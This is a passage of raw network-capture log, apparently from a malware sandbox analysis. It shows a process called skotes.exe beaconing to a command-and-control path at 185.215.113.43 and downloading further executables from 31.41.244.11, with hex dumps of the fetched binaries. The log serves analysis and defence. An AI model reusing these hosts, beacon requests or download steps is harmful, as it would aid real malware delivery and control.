Dec 17, 2024 22:06:09.624311924 CET	1236	IN	Data Raw: 03 89 46 08 f6 06 04 74 0b 8b 46 04 3b 46 08 76 03 89 46 08 f6 06 02 74 7b 83 c7 02 eb 76 33 c0 e9 fa 00 00 00 33 c9 39 0a 75 06 c7 02 c0 74 40 00 8b f9 39 4d 10 74 15 39 4e 08 74 05 3b 7e 08 73 48 8b 02 66 39 0c 78 74 40 47 eb eb 8b 02 83 7e 08 Data Ascii: FtF;FvFt{v339ut@9Mt9Nt;~sHf9xt@G~D$t;~s f9tQQQQSPQQXp@D$3Ft;G;}G}~3L$9ut@9Mt0~t;Ns9t3PLp@tCL$A;L$tC~t;Ns<t
Dec 17, 2024 22:06:09.624391079 CET	1236	IN	Data Raw: f8 e8 8f 05 00 00 59 8b 45 f0 2b 45 e4 03 45 f8 89 45 f8 eb 05 e9 5f fc ff ff 8b 45 b0 83 e0 01 74 2d 8b 45 b8 89 45 f4 eb 0e 8b 45 f4 40 89 45 f4 8b 45 0c 48 89 45 0c 8b 45 f4 3b 45 b4 73 0f 8b 45 f8 c6 00 20 8b 45 f8 40 89 45 f8 eb db 8b 45 0c Data Ascii: YE+EEE_Et-EEE@EEHEE;EsE E@EE+EEEEu#}vU+UM!M}vE+EEME]X0@.@.@/@"/@/@0@/@UhEEE$}
Dec 17, 2024 22:06:09.743432045 CET	1236	IN	Data Raw: 0e 8b 45 f0 40 89 45 f0 8b 45 0c 48 89 45 0c 8b 45 f0 3b 45 b4 73 13 6a 20 58 8b 4d f4 66 89 01 8b 45 f4 40 40 89 45 f4 eb d7 8b 45 0c 2b 45 ec 89 45 0c e9 ce fb ff ff 33 c0 8b 4d f4 66 89 01 83 7d 0c 01 76 0d 8b 45 f4 2b 45 08 d1 f8 89 45 d0 eb Data Ascii: E@EEHEE;Esj XMfE@@EE+EE3Mf}vE+EEME]5@*3@3@z3@3@x4@4@$4@VW@Wp@VjTp@PPp@Wp@_^tQjTp@P@p@UWu3UVt+7Fu^_]Uu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49771	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:12.142309904 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016723001&unit=246122658369
Dec 17, 2024 22:06:13.488147020 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49776	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:13.612473965 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 22:06:14.946918011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:14 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 17, 2024 22:06:14.946940899 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:14.947128057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:14.947139025 CET	224	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$
Dec 17, 2024 22:06:14.947150946 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 17, 2024 22:06:14.947240114 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 17, 2024 22:06:14.947252035 CET	448	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
Dec 17, 2024 22:06:14.947263002 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 17, 2024 22:06:14.947318077 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 17, 2024 22:06:14.947331905 CET	448	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 17, 2024 22:06:15.068916082 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49788	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:19.126712084 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016740001&unit=246122658369
Dec 17, 2024 22:06:20.471405983 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49793	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:20.598237991 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 22:06:21.927773952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:21 GMT Content-Type: application/octet-stream Content-Length: 4434944 Last-Modified: Tue, 17 Dec 2024 20:47:27 GMT Connection: keep-alive ETag: "6761e35f-43ac00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 e0 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 b5 00 00 04 00 00 c1 6b 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 cc b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 cc b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@kD@ _asa pa>(@.rsrcaN(@.idata aP(@ 8aR(@oldbffal00T(@xzawrklpC@.taggant0"C@
Dec 17, 2024 22:06:21.927841902 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:21.927855015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:21.927939892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:21.927973986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:21.927989006 CET	672	IN	Data Raw: 74 92 22 f0 d2 3c 6e 0f eb d6 9b b8 f0 0f 7c 95 3e 27 1c f1 44 96 11 df be 77 41 2c d6 5d 5b b3 72 8d 7d a4 16 5e dd 82 ca 46 b4 39 fc 05 43 21 25 bc b4 b0 d7 dd 18 0a f5 58 ac 20 10 42 2d 34 90 7e fb 41 67 8e de 87 de aa 06 4a 07 7f 1c 42 fd d8 Data Ascii: t"<n\|>'DwA,][r}^F9C!%X B-4~AgJBa?\g+"D%ipx\|ny[(cA:],5j(_UKZ8[_qn]"*')=4'{Z95.v6 g-&jve
Dec 17, 2024 22:06:21.928230047 CET	1236	IN	Data Raw: 9a c7 df c1 ac 2a 05 ef 77 5e a7 62 f1 b7 e0 1e 33 74 96 43 b1 fa 9e 36 6e 8d 90 ba 26 28 3b 52 46 c2 43 d9 34 ed c4 ea 89 c0 d5 01 2a dc 17 05 b2 5c 34 ba 5b ce 77 d4 6c cc 66 ff 6e 62 b5 12 bf ca 9b 34 50 0e 6f 0b 1e 2e 2b 21 f2 2f 94 6c e9 45 Data Ascii: w^b3tC6n&(;RFC4\4[wlfnb4Po.+!/lE/n~tl1cJCy'Yp4XmmjfQ$cnLaM\|aiF1yg5WlF$al!4:;,]5]gI{t=e&'BA{S1ZW"
Dec 17, 2024 22:06:21.928314924 CET	1236	IN	Data Raw: 41 5d 1b bb 7a e9 5c f1 a2 5b ad b9 b5 8c 2f e7 60 eb 74 29 d1 ed 4d 83 db cc 4f 71 c9 1b e6 8d ea 2e 9b ea be f6 b7 0b c3 ae 11 ff a9 de 34 f7 d3 73 66 8d 10 95 a6 1d 0b 2f e5 a7 9b 40 ba af 86 a6 35 f3 0d 6c b1 b7 4f 7a 82 94 50 22 4c 03 a5 55 Data Ascii: A]z\[/`t)MOq.4sf/@5lOzP"LUzk0$(}O~5FcvnT/ [JwY/{pz}7b33R5Fg3[=R(M4gjNR!KE\|}E3Nw)On=i! !
Dec 17, 2024 22:06:21.928335905 CET	448	IN	Data Raw: 9d 42 be 5a e5 29 39 19 8f 0b 57 01 e2 e0 70 91 65 ed ae 7f 50 01 c3 b1 72 0e 86 dd 8e c2 23 d1 19 24 6c 4d 23 0a 9a a2 6b 9f 89 d7 23 5a 38 47 7e 1e b1 6a 5a 3c 34 b6 0b a9 56 04 72 c1 b3 97 75 4e 02 be 63 09 a7 0f 15 35 e6 f0 75 2b 55 e0 60 28 Data Ascii: BZ)9WpePr#$lM#k#Z8G~jZ<4VruNc5u+U`(y,[zjY?mq3a.wTw[iI>??rIBvQZU~[WWM%\7`'Mv20CF/c11$Z%7v~<OQaV~\|4UWpj
Dec 17, 2024 22:06:21.928352118 CET	1236	IN	Data Raw: 1d 93 98 53 6c 4c ab 1e cc 28 ca 2a 6e 4a 2c 3b e2 cd 23 b4 0d 4c 41 87 8a 3f 87 4a db 72 fc c1 68 dd 67 af 62 32 d3 76 ca 97 48 e1 8f cd 42 08 c1 9c 2d e4 f2 16 91 f9 44 47 01 07 5e ef a6 8a 6d a1 dc 8f 22 b8 31 77 37 ab c9 b7 8f b5 6f 37 22 83 Data Ascii: SlL(*nJ,;#LA?Jrhgb2vHB-DG^m"1w7o7"[_C>p1OUZM(#L+`@y/@tHDl(1<+2i]j ;k,tz})5u$I`Jc:f(G;&Tu3Cd,
Dec 17, 2024 22:06:22.047501087 CET	1236	IN	Data Raw: 08 a1 a6 72 b8 1e dc 6f ca 89 d8 8a ca ce 28 81 20 ee 1a 71 bc dc b3 15 27 68 d3 87 d9 cf 07 3c 85 74 1f ef 41 34 b4 75 d2 3f d9 2a 76 17 f3 95 dd 30 cf 03 94 6d 8b f9 a2 07 41 7f b0 45 ff 9f 83 af b9 3a 06 16 b1 2a 57 c7 34 9f 79 a6 c2 3c d8 e3 Data Ascii: ro( q'h<tA4u?v0mAE:W4y<)Kokm)Ft5{q.[VGVd!/l0/-~\b}}j0/l0/'\-;z5]4y;@vn)#hJ=+z\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49822	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:31.390047073 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016743001&unit=246122658369
Dec 17, 2024 22:06:32.779659986 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49825	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:32.900638103 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 22:06:34.345419884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:34 GMT Content-Type: application/octet-stream Content-Length: 4444160 Last-Modified: Tue, 17 Dec 2024 20:53:14 GMT Connection: keep-alive ETag: "6761e4ba-43d000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 f0 c6 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c7 00 00 04 00 00 9f c1 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 d7 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 d6 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_g(Gu2H@ D@ _rsr( r*(@.rsrcr:(@.idata r<(@ p8s>(@ddzecpfmppj@(@uavqjtycC@.taggant0"C@
Dec 17, 2024 22:06:34.345453024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:34.345469952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:34.345531940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:06:34.345546961 CET	1236	IN	Data Raw: 49 74 38 c4 21 09 71 01 1b 4f b0 85 7c 69 3d 58 70 d2 3d 3b c1 07 31 83 3b a8 2b cc aa 81 28 5c 74 49 07 f5 64 63 21 a7 ad db f6 c1 53 74 3a fe 21 7a cc 29 25 07 e8 00 9b 44 e8 3e a4 1c e7 df ef 62 78 67 b7 5d e6 b2 7c 6a 92 3e 9b 20 00 c0 37 3b Data Ascii: It8!qO\|i=Xp=;1;+(\tIdc!St:!z)%D>bxg]\|j> 7;%"CE'$W%9>.{JO1ip+f<_,.<SnDnotCORnP%f=OO[Kv9;\Rdk>
Dec 17, 2024 22:06:34.345563889 CET	1236	IN	Data Raw: 2b 69 89 04 da ee b6 3a 69 26 b2 ce 54 91 05 d8 6c b4 89 44 ba ef d9 b3 ac 7a 59 9b 58 01 27 f7 34 1f 66 89 45 cf bf 8d a9 06 02 14 a1 3a d9 b1 2c da 81 f9 9f 7e 5a 82 9d 26 60 4c 38 fd 65 34 3a 37 b8 8c d8 35 e5 3b c2 9f b2 5f 20 a7 44 6f ce 69 Data Ascii: +i:i&TlDzYX'4fE:,~Z&`L8e4:75;_ Doiy <qhz_LWs#mpi1yS*GdCB"Z%c[~e0ri>(0I'3~M\CF$0cc/7Hx..Z0[w%]u1eAc
Dec 17, 2024 22:06:34.345670938 CET	1236	IN	Data Raw: e8 fe 0f 48 ee 5b 27 36 79 f6 0f 85 f3 80 13 28 df 4a 4e ea 37 9b 10 ae de 01 56 43 28 18 d6 82 7b 06 aa 61 b7 36 b7 81 52 f3 03 0f 9f 87 5c 0c ad c9 ad f8 54 00 b2 17 60 78 21 52 fa fe 06 f8 97 c7 c4 e6 33 ff c6 c5 26 93 26 f0 1b 95 68 66 55 04 Data Ascii: H['6y(JN7VC({a6R\T`x!R3&&hfUcsXL?zJYBe=qgBm}cl)(o=Ne:H)JB1pU`1d+wkAX:=A8*,3@7dZPKdN"+6P5~RB${J
Dec 17, 2024 22:06:34.345684052 CET	108	IN	Data Raw: 87 d1 e4 63 9c 4f 16 96 9a cf b6 b4 04 da b9 51 42 bc 8f 87 dc d9 e7 af 60 1a 8b e5 50 4f 67 ac 5a f9 14 af ec 16 c7 86 0b ca 3b 4c 70 86 ea 1e a5 e1 2f a0 ad f9 0e b0 b0 f7 08 40 5c 44 d5 65 63 f7 e0 7d 55 0c f6 1d 9e 31 a8 0c c4 db 22 65 7a 59 Data Ascii: cOQB`POgZ;Lp/@\Dec}U1"ezY<^rSyVb\L6
Dec 17, 2024 22:06:34.345698118 CET	1236	IN	Data Raw: 0e e7 30 26 a1 a4 df a0 db 34 e1 2f b0 d0 df a6 17 f2 39 0a 4a 82 00 aa 1f e7 4d bb b2 2a 74 f3 ae 7f 0d 88 9f 74 dd 5c ea 82 0e 09 38 f5 77 74 e7 df 95 b9 0b 91 58 78 cc eb 6f c4 20 16 73 5e 87 73 7b b2 3f 6b 55 a2 23 33 bb 8c 67 fc 34 b0 90 23 Data Ascii: 0&4/9JMtt\8wtXxo s^s{?kU#3g4#V^\|Idsc)X7OASv[X.fnW$C{tkm0~DH<9GVB4s9shpc-3{Mfv6mv&5T2*qi
Dec 17, 2024 22:06:34.345715046 CET	1236	IN	Data Raw: 58 fe 0a 7f 57 13 cb 93 a0 f8 6f 7e 1b 96 0d 51 59 47 f0 a5 05 ff 62 41 59 ba 10 d1 57 06 46 18 c1 94 4e 31 c3 3d f6 be 12 d6 05 7d f9 28 37 a4 68 cc 68 f3 a5 90 95 6c 36 44 2a c2 84 be 4a 5e 90 d0 c1 7b 3f de 72 82 91 fb 49 88 b6 a8 03 c9 ad d4 Data Ascii: XWo~QYGbAYWFN1=}(7hhl6D*J^{?rI2y?MEj).qJ(8a3gdy08ytTIPQ0'tTy0&(y6x@SfpW5p%d)$IeOO>@_`p
Dec 17, 2024 22:06:34.465166092 CET	1236	IN	Data Raw: ac 3f 0e 8b c0 ec 60 19 ac c5 f3 96 31 00 31 71 82 3a 89 d3 b7 37 61 af 8c d3 02 b2 30 d5 66 02 02 8f b6 76 40 fb fe 85 30 96 ae 38 32 5f 04 9f f8 44 12 51 e7 a0 d7 da a1 ea 58 3e 35 e0 08 2a 14 f9 fe da 5a 9c 13 48 32 57 71 6b b9 c8 4f 58 1a 60 Data Ascii: ?`11q:7a0fv@082_DQX>5ZH2WqkOX`[qy1HU2J+x GHu% O5Q<$4W>\\|?HvCwj!/x9nIhxUX8cU(g B`".??$~kxd:6<c=M:c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49836	104.154.220.71	80	8072	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Timestamp	Bytes transferred	Direction	Data
